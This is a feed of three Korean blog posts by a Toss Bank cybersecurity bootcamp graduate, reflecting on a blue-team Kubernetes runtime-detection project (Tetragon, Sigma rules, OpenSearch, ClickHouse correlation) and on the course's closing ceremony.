            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프를 마치며]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84%EB%A5%BC-%EB%A7%88%EC%B9%98%EB%A9%B0</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84%EB%A5%BC-%EB%A7%88%EC%B9%98%EB%A9%B0</guid>
            <pubDate>Thu, 12 Feb 2026 10:35:45 GMT</pubDate>
            <description><![CDATA[<h2 id="intro">Intro</h2>
<p>2025년 9월 1일부터 2026년 2월 6일까지 약 6개월 기간의 교육 기간이 종료되었다. 종료 이후 나는 가족들하고 시간을 보내고 친구들도 만나면서 휴식을 취하고 있다. 프로젝트 하면서 잠도 많이 못 자고 휴식 기간 없이 달려왔기 때문에 컨디션 회복을 우선하고 있다.
이번 포스트에선 발표 현장과 개인적인 소감을 남겨보고자 한다.</p>
<h2 id="프로젝트-최종-발표">프로젝트 최종 발표</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e281137f-858a-478f-8845-ce797173fb5a/image.jpg" alt=""></p>
<p>전날까지는 사실 체감이 많이 안됐는데 당일에 교육장에 와보니 진짜 끝이구나 하는 생각이 들었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/30180096-2b69-4082-9062-55d5c5cfbd8f/image.jpg" alt=""></p>
<p>수료증도 준비가 되어 있었고</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b5198fc9-51d6-4b6f-8b04-ea36ca702671/image.jpg" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a8a802ea-313c-4224-817e-6546f2d07c15/image.jpg" alt=""></p>
<p>수료증과 과정 운영 매니저님이 준비하신 선물들도 준비가 되어 있었다. 핸드크림 준비 해주셨는데 정작 매니저님은 유통기한 지난 다이소 핸드크림 쓰신다고..ㅋㅋㅋㅋㅋㅋ</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/68026dde-02c5-4a77-b531-eccb19ac020a/image.JPG" alt=""></p>
<p>행사 시작 전에 프로젝트 팀원들과도 사진도 좀 찍었다. 그러고나서 나는 발표 준비를 하는데 점점 긴장감이 올라오기 시작했다.
토스뱅크 현직자분들부터 멀티캠퍼스 관계자 분들 등 많은 분들 앞에서 발표를 진행하기 때문에도 그렇지만 현직자 앞에서 발표를 한다는게 참 쉽지가 않은거 같다. 우리 팀 발표 순서는 두 번째였다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/8af42099-8bde-459f-8808-96f0475a9c80/image.jpg" alt=""></p>
<p>본격적으로 행사가 시작됐다. 팀 소개부터 출발해서 첫 번째 팀 발표가 끝나고 우리 팀 발표 순서가 다가왔다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c2f0e735-338c-405a-bf94-7649fca0e20d/image.JPG" alt=""></p>
<p>발표는 나쁘진 않았던거 같다. 전달해야 할 내용들을 잘 전달했던거 같고 중간에 말이 좀 꼬이긴 했지만..ㅋ 30분 간 발표를 진행한 뒤 Appendix와 함께 질의응답 시간을 가졌다.
우리 팀 프로젝트는 네트워크 포렌식이라는 주제로 블루팀 성격을 가졌기 때문에 블루팀 멘토님의 피드백이 가장 중요했는데, 기획 단계에서 발표 드렸을 때는 평가가 매우 좋았다. 그래서 사실 더 부담이 됐다.</p>
<p>기획이 밀도 있는거뿐 아니라 실제로 기획대로 수행이 됐는가가 매우 중요했기 때문에 긴장하면서 피드백을 기다리는데 처음 기획에서의 내용들이 프로젝트에서 고도화 된거 같다고 하셨다.
이후에 우리 팀 프로젝트의 핵심인 탐지 고도화에서 Baseline을 이용한 이상 징후 탐지에서 Baseline 수립과 관련된 내용에 대한 질문이 나왔고, 여기까진 사실 문제가 없었다.</p>
<p>마지막 질문을 레드팀 멘토님께서 해주셨는데, 탐지 정책 수립시 공격 방식에 대한 다양성에 대한 의문과 알려지지 않은 공격이 들어왔을 때 이를 잘 탐지할 수 있을까라는 의문을 제기하셨다.
사실 이 질문 듣고 좀 당황을 많이 했다. 일단 .. 공격에 대한 다양성은 MITRE ATT&amp;CK 메트릭스의 테크닉 별로 공격을 수행해서 확보하고자 했고, 알려지지 않은 공격들에 대한 대응은 시그니처 기반 탐지로는 불가능 할거라고 생각하고 공격이 여러 시스템 콜로 갈라지는 형태여도 Choke Point인 커널함수를 직접적으로 후킹한다면 대응이 가능할거 같다고 말씀 드렸다.</p>
<h2 id="수료식">수료식</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/454db3ba-6fd9-415d-9e00-06fa95ec72b2/image.jpg" alt=""></p>
<p>다섯 팀 발표가 모두 끝나고 심사 결과가 나왔고, 수료식이 시작됐다.
프로젝트는 결론적으로 1등은 못했다. 정말 몰입해서 했던 프로젝트이기 때문에 아쉬움도 컸고, 1등한 팀이 부러웠다. 그리고 우리는 뭐가 부족해서 1등을 하지 못했을까라는 생각이 머릿속을 덮었던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f22070a4-247a-4581-beed-623bbf10a9e2/image.jpg" alt=""></p>
<p>못 오실거라고 했던 토스뱅크 CISO님이 오셔서 수료식을 함께 해주셨다.
그리고 토스뱅크 서류면제 혜택이 걸려 있는 최우수수료생 발표가 남았는데 ..</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/38374f57-caeb-42c3-be85-e4aac060506e/image.jpg" alt=""></p>
<p>네. 제가 해냈습니다ㅎㅎ 정말 보상받는 느낌이라고 해야할까 사실 프로젝트 점수가 커서 기대가 약간 사라졌었는데 내 이름이 호명됐을 때 벙쪘던거 같다.
한편으로 우리 팀에서 나만 좀 잘 된거 같아서 팀원들한테 미안한 마음도 들었다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/277d22a6-c118-4e48-adce-64a6e3c7e5d0/image.jpg" alt=""></p>
<p>소감 말하는데 사실 하고싶은 말은 많았는데 무슨 말을 할지 머릿속에 생각이 안나서 그냥 약간 주저리주저리 감사하다.. 앞으로 더 열심히 노력하겠다 뭐 이런 얘기만 했던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/576bd64b-e227-488a-83da-5adb0ca6335e/image.jpg" alt=""></p>
<p>수료증도 받았다. 그리고 최우수 수료생에게는 토스뱅크에서도 뭔가 인증? 약간 이런걸 준다고 한다. 집으로 배송 해준다는데 아직 받진 못했다.</p>
<h2 id="소감">소감</h2>
<p>처음 목표했던 최우수 수료생 타이틀을 받아내서 뿌듯했다. 약 6개월이라는 시간동안 정말 공격적으로 살았던거 같다. 교육장과 비교적 거리가 멀어 편도 2시간 정도 걸려도 단 한번도 지각한적이 없다. 프로젝트 기간에 새벽 2시, 4시까지 작업을 해도 6시에 일어나서 교육을 들으러 갔다.</p>
<p>열심히는 당연하고, 잘해야 한다는 생각을 했고 잘하고 싶었다. 여태까지 눈에 보이는 성과가 없었기 때문에 증명 해야하는 시기라고 생각했다.
말보단 행동으로 6개월이라는 시간을 보냈기 때문에 얻을 수 있었던 성과였던거 같고 증명 해낸 내 자신에게 이번만큼은 박수 쳐주고 싶다.</p>
<h2 id="이후">이후</h2>
<p>막학기를 앞두고 있어 올해 9월 복학 전까지 나는 우선 프로젝트를 포트폴리오화 하는 작업을 하려고 한다. 우리가 진행한 프로젝트의 규모가 좀 있는 편이어서 이 작업도 시간이 꽤 걸리지 않을까 싶다.
그리고 정보보안기사, 쿠버네티스 자격증도 취득하고, 개인적으로 미니 프로젝트를 하나 해볼까 한다. 이번 팀 프로젝트를 진행하면서 아쉬웠던 부분들과 고도화 시킬 수 있는 작업들이 있기 때문에 계획중에 있다.</p>
<p>토스뱅크 서류면제 혜택은 아마 대학 졸업 이후에 사용하지 않을까 싶다. 자세한 내용을 공개할 수는 없지만 토스뱅크에서 지원자의 편의를 정말 많이 봐주고 있어서 칼을 갈 시간을 확보할 수 있었다.</p>
<h2 id="마치며">마치며</h2>
<p>어떤 방법으로든 몰입의 순간을 경험했으면 한다. 나는 이 과정을 통해 몰입의 순간을 경험했다. 그리고 눈에 보이는 것도 보이지 않은 것도 많은것이 바뀌었다는걸 체감한다.
나는 앞으로 더 잘할거고 잘하기 위해 노력할거다. 현재는 상상하지 못하는 부분에서 문제가 발생하고 어려움을 겪겠지만 내가 경험한 순간들을 바탕으로 또 해결 해나갈 수 있을거다. 그리고 또 무언가 배우지 않을까?</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Toss TIL - 마지막 이야기]]></title>
            <link>https://velog.io/@_sychoii/Toss-TIL-%EB%A7%88%EC%A7%80%EB%A7%89-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
            <guid>https://velog.io/@_sychoii/Toss-TIL-%EB%A7%88%EC%A7%80%EB%A7%89-%EC%9D%B4%EC%95%BC%EA%B8%B0</guid>
            <pubDate>Tue, 03 Feb 2026 14:38:46 GMT</pubDate>
            <description><![CDATA[<h2 id="회고">회고</h2>
<p>이제 프로젝트의 끝이 다가오고 동시에 이 과정도 끝이 다가오고 있다. 최종 산출물로 수행 결과 보고서와 발표자료를 제작하면서 우리가 많은 것을 했구나라는 생각이 들면서도 아쉬움이 따르는 거 같다.
프로젝트 진행하면서 힘들었던 점, 아쉬웠던 점이 있지만 최선을 다했다라는 생각이 든다. 앞선 TIL에서도 여러번 언급했듯 아쉬운 점이 있더라도 그때의 최선이었다고 생각할 수 있기를 바랐는데 바람이 이루어진거 같아 다행이라는 생각이 든다.</p>
<hr>
<h2 id="kernel-프로젝트의-시작">KERNEL 프로젝트의 시작</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b134bbc3-4c47-42b8-8c86-506ee69d6624/image.png" alt=""></p>
<p>10월 말 즈음이었나 슬슬 프로젝트 기간이 다가올 때 프로젝트 주제에 대해서 생각을 많이 했었던거 같다. 주변에 다른 부트캠프나 프로젝트 하는 것을 많이 보면 그냥 어중이 떠중이인거 같은 느낌을 많이 받았던거 같다. 기술적인 난이도가 높다던가 혁신적이라던가 그런거 없이 그냥 스쳐가는 한 프로젝트로 치부하는 사람들이 더러 있던거 같다.</p>
<p>하지만 나는 그냥 평범한 한 순간으로 흘려 보내기 싫었다. 정말 제대로 진지하게 임하고 싶은 마음이 컸던거 같다. 취업할 때 여기서 한 이 프로젝트가 나의 매력이 될만큼 좋은 프로젝트를 하고 싶었다. 그렇기에 당연히 1등을 목표로 했던거 같다.
이런 생각을 하던 와중에 우연찮게 희수랑 둘이 밥을 먹게됐다. 그때 여기 오기전에 무엇을 했는지 어떤 경험을 했는지 궁금해서 이것저것 물어봤고 프로젝트 관련해서도 이야기를 나눴었다.</p>
<p>이때 희수도 이왕 하는거면 1등 하고 싶다고 해서 이 친구랑 같이 프로젝트를 하고 싶었다. 그다지 그런 포부가 없는 사람들이 대부분인거 같았고, 말로만 1등 하고 싶다고 하는 사람은 아닌거 같기에 더 같이 하고 싶었던거 같다.
그리고 마침? 프로젝트 주제 생각한거 강사님께서 올려달라고 하셨는데 내가 생각한 주제와 결이 맞았다. 희수도 쿠버네티스 환경에서의 위협에 대한 프로젝트를 하고싶어 했다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/72e158d1-ceae-4e84-87ae-ffdd2bac942c/image.png" alt=""></p>
<p>내가 쿠버네티스 환경에 대한 프로젝트를 하고 싶었던 이유는 학교 수업에서도 그렇고 학부 연구생 할 때도 그렇고 교수님들께서 이 환경에 대한 경험을 강조하셨어서 경험 해보고 싶었다.
기존 레거시한 인프라와도 다르니 매우 도전적인 시도가 될거 같다고 생각했고, 동시에 트렌디함까지 챙길 수 있으니 매력적인 주제라고 생각했다.</p>
<hr>
<h2 id="kernel-프로젝트에서-아쉬웠던-점">KERNEL 프로젝트에서 아쉬웠던 점</h2>
<p>최선을 다 한건 한거지만 아쉬움은 많다. 우선 준비 과정에서 탐지와 분석에 집중하지 못하고 많이 헤맸다는 점이 아쉽게 느껴진다. 프로젝트 진행 초기에 우리 팀은 인프라, 공격 설계, 분석 세 가지 파트로 나뉘어 작업을 진행했다.
나는 이 중 공격 설계를 맡았다. 이 과정에서 환경 구성을 어느정도로 취약하게 만들어야 하는지, 너무 과도하게 취약하게 만들면 짜고 치는 고스톱 느낌?이 들어서 혼란스러웠던거 같다.</p>
<p>그래서 초반에 멘토님께 질문을 엄청 드렸던거 같다. 이 과정에서 멘토님께서 <strong>&quot;블루는 분석과 포렌식에 집중하세요. 작위적이더라도, 해당 공격으로 인해 시스템이나 보안 솔루션에 남는 아티펙트에 집중하면 됩니다.&quot;</strong> 라는 말씀을 하셨고 이 이야기를 듣고나서 내가 초점을 다른데 두고 있었구나라는 생각이 들었다.</p>
<p>우리 프로젝트는 블루팀 프로젝트이기 때문에 위협 행위에 대한 탐지와 분석에 집중하는 것이 맞았다. 레드팀이 아니기 때문에 공격 수행 환경에 대한 작위성은 그다지 중요한게 아니었던거다. 이 과정에서 시간을 꽤나 많이 썼기에 아쉬움으로 남는거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a380389b-791f-4066-8c02-6d5fc5edf6be/image.png" alt=""></p>
<p>또, 도구 활용 측면에서도 아쉬움이 있다. 우리는 해당 프로젝트에서 eBPF 기반 CNI인 <strong>Cilium</strong>과 탐지 도구인 <strong>테트라곤, 허블</strong>을 선정해서 사용했다.
Tetragon 정책 설계 과정에서 사실 기술적인 허들을 많이 느꼈던거 같다. 내가 생각한대로 탐지도 안되고, 정상적인 행위가 정책에 걸려 수많은 노이즈가 잡혔었고 이를 해결 해나가는 과정 자체가 정말 쉽지 않았다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/fd5feff3-6844-449f-b906-d619ca0fa083/image.png" alt=""></p>
<p>아 이건 팀원 중 한분이 요즘 유행하는 김동현 밈을 우리 프로젝트에 대입한거라고 한다ㅋㅋㅋㅋㅋㅋ Tetragon과 씨름하느라 탐지 근육이 큰거 같다 💪</p>
<p>다시 돌아가서 또 하나 Tetragon 정책은 System Call, 커널 함수의 인자값을 파싱해서 위협 행위를 탐지하는 구조다. 파싱하는 과정에서 만약 인자가 포인터 또는 이중 포인터로 되어 있는 경우 값을 제대로 가져오지 못하는 경우도 있었다.</p>
<p>마지막으로 Tetragon이라는 도구를 완전히 정복하지 못했다는 점이 아쉬움으로 남는다. 분명히 이 도구로 더 많은 것을 할 수 있을텐데 .. 이런 부분들이 아쉬움으로 남는거 같다.
프로젝트 기간이 상당히 짧기 때문에 이를 더 붙잡을건가 아님 다른 대체할 수 있는 어떤 방법을 도입할건가 기로에 섰었고 민송이가 다중 탐지 프레임워크의 초안을 들고 와줘서 다른 대안으로 더 좋은 결과를 낼 수 있었던거 같다.</p>
<p>행위 기반 탐지를 하는 Tetragon의 오탐을 잡아줄 지식 기반 탐지를 덧대었고 우리가 사용하는 대시보드인 Open Search에서 시그마 룰을 지원하기 때문에 이 부분을 고도화 시켰다.</p>
<p>가장 아쉬웠던? 음 아쉽다고 해야할까 내가 팀장 역할을 하지 않고 기술적인 부분에 더 시간을 할애할 수 있었다면 좋았을텐데라는 생각이 불쑥불쑥 든다.
나는 의문이 들면 풀릴 때까지 이를 물고 늘어지는 경향이 있다. 이러한 점이 더 발현돼서 좀 더 잘할 수 있지 않았을까?라는 생각과 나도 엔지니어를 꿈 꾸고 있기 때문에 개인적인 욕심도 한 몫하는 거 같다.</p>
<p>하지만 팀장을 맡았기에 나만이 얻을 수 있었던 경험들, 고민들이 분명히 존재한다. 사실 어느 방향이던 내가 성장한거 같다라는 생각이 들기에 아쉬움으로 치부하기엔 팀장으로서 경험을 너무 무시하는거 같다.</p>
<hr>
<h2 id="교육-종료를-앞둔-소감">교육 종료를 앞둔 소감</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/de963ebb-bfd3-4f41-a65d-e0afaa241a7e/image.jpeg" alt=""></p>
<p>교육장에 처음 왔을 때 일종의 설렘이라고 해야할까 내가 토스뱅크에서 하는 교육을 받다니..! 엄청 들떴던거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/b6564c55-b8f4-482e-b2eb-2414d5b62d9e/image.jpeg" alt=""></p>
<p>또 웰컴 기프트를 받았다. 이런거도 줘?! 약간 속된말로 뽕이 찼던 순간이었던거 같다ㅋㅋㅋㅋ
내가 최초 합격해서 들어간게 아니라 추가 합격돼서 당일에 급하게 가느라 조금 늦었어서 맨 뒷자리에 앉게 됐는데 생각 해보니 옆에 바로 토스뱅크 CISO님, 블루팀 리드님, 레드팀 리드님이 계셨던거 같다.
그때 과정 등록도 해야하고 휴학 처리도 해야하고 정말 정신없어서 조금 부산스러웠던거 같은데 옆에 계셨다니ㅋㅋㅋㅋ.. 날 어떻게 보셨을까....</p>
<p>암튼 마지막 TIL이니 조금 내 얘기를 해볼까 한다. 갑자기 진지해지네요ㅎ
다른 분들은 모르겠지만 나한테 이 교육은 조금 특별한 의미를 갖는다. 어디서부터 얘기 해야할까.. 컴퓨터공학을 전공하게 된건 사실 이 쪽에 관심 있어서가 아니었다. 그때 개발자가 엄청나게 뜨고 있어서도 아니었다. 말 그대로 성적 맞춰서 간 케이스였다.</p>
<p>그래서 그런가 사실 딱히 흥미를 느끼지 못했다. 물론 간간히 재미를 느꼈던 전공 과목들도 있었지만 개발에 엄청난 희열을 느끼는 편도 아니었고 그냥 좀 낙동강 오리알 느낌이라 해야할까?
핑계일수도 있지만 정말 하나에 꽂혀서 해본 경험이 없었다. 그래도 뭔가 나도 나 나름대로 살라고 발악을 했던거 같다. 기업과 연계한 어플리케이션 개발 수업도 들어보고 연구실에 학부 연구생 생활도 했었다.</p>
<p>사실 내가 전공 지식이 두터운 편도 아니고 성적이 좋은편은 아니라 교수님께서 뭘 해보라고 하시진 않았지만 연구실 연구 분야와 맞닿아 있는 주제들에 관한 논문들을 읽으면서 학습을 했었다.
당연히 연구 분야가 정해지지도 않았고 방향도 잘 안잡히다보니 나올 수 밖에 없었다. 그러고나서 연구실에서 하던 보안 공부를 혼자 해오고 있었고, 클라우드 컴퓨팅과 네트워크 보안 과목을 수강하면서 재미를 좀 느꼈던거 같다.</p>
<p>학기 종료 후에 담당 과목 교수님께 찾아가서 클라우드 보안과 관련 된 연구실에 컨텍을 했지만 잘 안됐고 이때 토스뱅크 사이버보안 엔지니어 부트캠프 공고를 확인해서 준비했다.
앞서 말한대로 예비를 받아서 막막했다. 이 전공을 계속 해야하나.. 라는 고민까지 했던 시기여서 상당히 불안정하지 않았나 싶다.
다행히 추가 합격을 받았고 내가 여기서도 뭔가 유의미한 성과를 거두지 못하면 그때는 다른 분야로 전환을 염두에 두고 있었다.</p>
<p>그래서 더 뭔가 악착같이 생활했던거 같다. 그 와중에 또 뭔가 잘못 생각하고 행동하고 있는 나를 느낄 수 있었고 바꾸고 반성하고 바꾸고를 반복했다.
다행히 내가 잘하고 있구나라는 생각이 드는게 일단 프로젝트 하면서 너무 재밌었고 진짜 프로젝트만 생각했던거 같다. 집에 가는 길에도 교육장 가는 길에도 프로젝트 생각들로 하루하루 보냈던거 같고, 몰입한다라는게 뭔지 깨달은거 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9fba9de5-c04b-4b07-8dc4-42c3e87400b0/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/8ac60c38-b9d8-425b-a908-bad1839f4626/image.png" alt=""></p>
<p>그리고 TIL도 내가 변해야겠다라고 마음 먹은 순간 이후에 모두 우수 참여자로 선정되었다.
그래서 결론적으로 다행히도? 나는 이 일을 계속 해도 될거 같다라는 확신이 들었다ㅋㅋㅋㅋㅋ
몰입의 순간을 경험하니 내가 어느정도의 퍼포먼스를 낼 수 있고, 이젠 경험이 한층 더 쌓였으니 더 잘할 수 있다라는 확신을 얻은게 큰거 같다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>이렇게 TIL을 쓰는거도 마지막이라고 하니 시원섭섭한거 같다. 어쩔때는 귀찮게도 시간이 아깝다고 느껴질 때도 있었지만 시간 들여서 쓰는 과정에서 생각 정리도 할 수 있었고 나 자신에게 조금 더 솔직해질 수 있는 시간이 되지 않았나 싶다.
이제 오늘 기준으로 프로젝트 발표까지 4일정도 남겨두고 있는데 준비 잘해서 유종의 미를 거둘 수 있길 소망한다. 프로젝트 1등도 하고싶지만 우수 수료생으로도 선발됐음 좋겠다.</p>
<p>오랜 시간 수업 해주신 강사님과 우리 과정을 관리 해주시는 매니저님께 감사하다는 말씀 드리고 싶다. 그리고 이런 교육을 지원하는 토스뱅크에도 감사 인사를 드리고 싶다.
마지막으로 과정 처음부터 지금까지 항상 같은 조였던 민송이 희수, 이 둘은 프로젝트까지 같이 해서 더 정이 든거 같다. 
민송이는 팀에서 내 입장을 가장 잘 이해해주고 먼저 위로도 건네주는 친구라 고맙다는 말 해주고 싶고, 희수는 기술적인 고민들을 많이 나눌 수 있어서 좋았고 많이 배울 수 있었다.</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다! 라는 말로 항상 마무리 짓곤 했는데 이젠 정말 마지막이네요. TIL은 여기서 끝나더라도 기술 블로그와 회고는 계속해서 운영할거니까 거기서 봐요ㅎㅎ</p>
<p>이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다! 끝!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 7]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-7</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-7</guid>
            <pubDate>Sun, 01 Feb 2026 06:55:26 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/33bd06a9-e2a0-456b-87f6-0245738f7cf3/image.png" alt=""></p>
<p>이번 7주차에는 본 프로젝트에서 수행한 탐지 및 분석 프로세스를 공격 시나리오를 통해 정상적으로 동작하는지 최종 점검하였습니다.
Tetragon 시그마 룰을 최종 수정 및 검토 하였고 설계한 공격 시나리오를 실제 본 환경에서 전반적으로 수행하고, 각 공격 단계에서 발생하는 이벤트가 OpenSearch에서 정상적으로 탐지되는지를 검증한 뒤, 탐지된 결과를 시드로 삼아 ClickHouse에서 상관분석을 수행해 공격 흐름을 재구성했습니다. 특히 지난 주 구축한 “탐지 → 분석 확장 → 타임라인 출력” 자동화 흐름이 실환경에서도 유효하게 동작하는지 확인하는 데 초점을 두었습니다.
또한, 프로젝트 결과 보고서와 발표자료를 제작하여 프로젝트 경진대회를 준비하고 있습니다.</p>
<hr>
<h2 id="system-sigma-rule-검토">System Sigma Rule 검토</h2>
<p>7주차에는 공격 시나리오 수행에 앞서, 기존에 적용 중이던 System Sigma Rule을 최종 점검 및 정합성 정리하는 단계를 진행했습니다. 지난 주까지 룰 자체의 <strong>탐지 범위와 오탐</strong> 여부를 중심으로 검증했다면, 이번 주에는 <strong>“룰이 우리 환경의 정규화된 로그 스키마에 정확히 매핑되어 실제로 정상 동작하는가”</strong>를 우선 목표로 삼았습니다.</p>
<p>특히 기존의 Sigma Rule에는 ParentImage , Image 필드 들이 저희의 환경에서는 정규화된 로그에 맞게 <code>event.process.parent_executable</code>, <code>event.process.executable</code> 등으로 사용하고 있기 때문에, 일부 룰에서 필드 불일치로 인해 탐지가 안될 수도 있는 문제가 확인되었습니다. 이에 따라 7주차에는 스키마 불일치 가능성이 높은 룰을 선별하여 일괄 검토를 수행했습니다.</p>
<p>검토는 다음 절차로 진행했습니다.</p>
<ol>
<li>룰 전체 목록에서 ParentImage 필드를 참조하는 룰 6개, Image 필드를 참조하는 룰 87개를 추출한 뒤, 각 룰이 요구하는 의미(부모/자식 프로세스 관계, 실행 경로, 인자 조건)를 문장 단위로 해석했습니다.</li>
<li>해당 의미가 유지되는 범위 내에서 정규화 스키마에 맞게 필드를 치환하되, 단순히 필드를 합쳐서 매칭 범위를 넓히는 방식이 아니라 원본 룰이 의도한 행위 조건이 그대로 유지되도록 조건을 분리·구조화하는 방식으로 수정했습니다.</li>
<li>수정 후에는 조건 구성의 논리(부모 프로세스 조건 + 자식 프로세스 조건 + 특정 인자조건)가 원본 룰의 탐지 목적과 일치하는지 재확인하여 최종 반영했습니다.</li>
</ol>
<p><strong>Remote Access Tool - Team Viewer Session Started On Linux Host</strong>라는 Sigma Rule은 <code>TeamViewer_Service</code> (데몬) -&gt; 부모, <code>TeamViewer_Desktop</code> -&gt; 자식, 그리고 특정 IPC 세션 시작 파라미터를 탐지하는 정책입니다.
즉, <strong>원격 호스트에 의해 세션이 실제로 시작된 순간</strong>을 탐지하는 것입니다.</p>
<ul>
<li><p>원본 규칙
<img src="https://velog.velcdn.com/images/_sychoii/post/fb86b145-2187-40fe-a012-03ac745e1c29/image.png" alt=""></p>
</li>
<li><p>수정 후
<img src="https://velog.velcdn.com/images/_sychoii/post/b74402c5-8e7b-4643-8ac9-de8be7077d1a/image.png" alt=""></p>
</li>
</ul>
<hr>
<h2 id="공격-시나리오-수행-및-탐지-프로세스-검증">공격 시나리오 수행 및 탐지 프로세스 검증</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/283370ac-4a1b-4e3a-ac66-ed6638b56f27/image.png" alt=""></p>
<p>7주차에는 web-service를 시작점으로 내부 서비스 체인까지 확장되는 구조를 전제로, 프로젝트에서 설계한 공격 시나리오를 단계별로 수행했습니다.
각 공격 과정에서 발생하는 런타임 행위와 네트워크 흐름이 각각 Tetragon / Hubble을 통해 정상 수집되는지 확인했으며, 공격 수행 이후 수집된 로그가 중앙 저장소로 적재되어 탐지·분석 단계로 이어지는지까지 전체 파이프라인 관점에서 점검했습니다.</p>
<p>또한 단일 공격 단면만 확인하는 방식이 아니라, 공격 단계별로 서로 다른 형태의 행위(명령 실행, 정찰, 권한 확인 시도, 원격 제어 채널 확보 등)가 발생하도록 구성하여 탐지 룰이 다양한 공격 패턴에서도 잘 동작하는지를 검증했습니다.</p>
<hr>
<h2 id="click-house-상관분석-수행">Click House 상관분석 수행</h2>
<p><strong>탐지된 이벤트가 실제 공격 흐름의 일부인지</strong>를 ClickHouse에서 확인하는 상관분석을 수행했습니다. ClickHouse에는 Tetragon 로그와 Hubble 네트워크 흐름 로그가 함께 적재되어 있으므로, 동일 시간축과 동일 파드 컨텍스트를 기준으로 두 로그를 결합해 공격 맥락을 재구성할 수 있습니다.</p>
<p>스크립트를 활용해 OpenSearch 탐지 이벤트를 입력으로 받아 ClickHouse에서 연관 데이터를 자동 조회하고 타임라인 형태로 출력되도록 구성했습니다.
OpenSearch 탐지 로그에서 <strong>타임스탬프, 파드 이름, 실행된 바이너리, 명령어 인자, 실행 식별자</strong>를 파싱한 뒤, ClickHouse 조회 쿼리를 자동 생성·실행합니다. 또한 명령어 인자 내에 포함된 IP/포트 등 아티팩트를 추출해 네트워크 흐름 조회의 키 값으로 활용했습니다.</p>
<p>이때 분석 노이즈를 줄이기 위해, 동일 파드에서 동일 명령어가 반복 실행되는 경우 이를 <strong>120초 단위로 그룹화</strong>하여 단일 이벤트로 압축했습니다. 이후 프로세스 실행 시점을 기준으로 <strong>선행 10초 ~ 후행 120초</strong> 구간을 분석 창으로 설정하고, 해당 구간에서 발생한 네트워크 흐름을 조회해 연관성이 확인되는 경우 RELATED로 분류하여 리포트에 포함했습니다.
아래는 자동화 리포트 출력 예시입니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c7c069e6-1be0-4c5b-952f-e34923461517/image.png" alt=""></p>
<p>위 레포트 항목에는 리버스 쉘 연결 시도에 대한 시스템 이벤트와 네트워크 이벤트가 하나의 이벤트로 묶여 표시됩니다. 또한 하단에는 프로세스 상세 조회 및 네트워크 흐름 조회를 위한 ClickHouse 쿼리가 자동 생성되어, 즉시 심층 분석으로 이어질 수 있도록 구성되었습니다.</p>
<hr>
<h2 id="공격-흐름-재구성">공격 흐름 재구성</h2>
<p>생성된 레포트에서 식별된 이벤트를 시드로 하여 Alert에 의해 Click House로 수집된 로그를 기반으로 프로세스 계보 추적을 수행합니다. 이는 사후 공격 흐름 복원을 목표로 합니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/82d91d9b-152c-4a3a-aeca-ac0546a75ba8/image.png" alt=""></p>
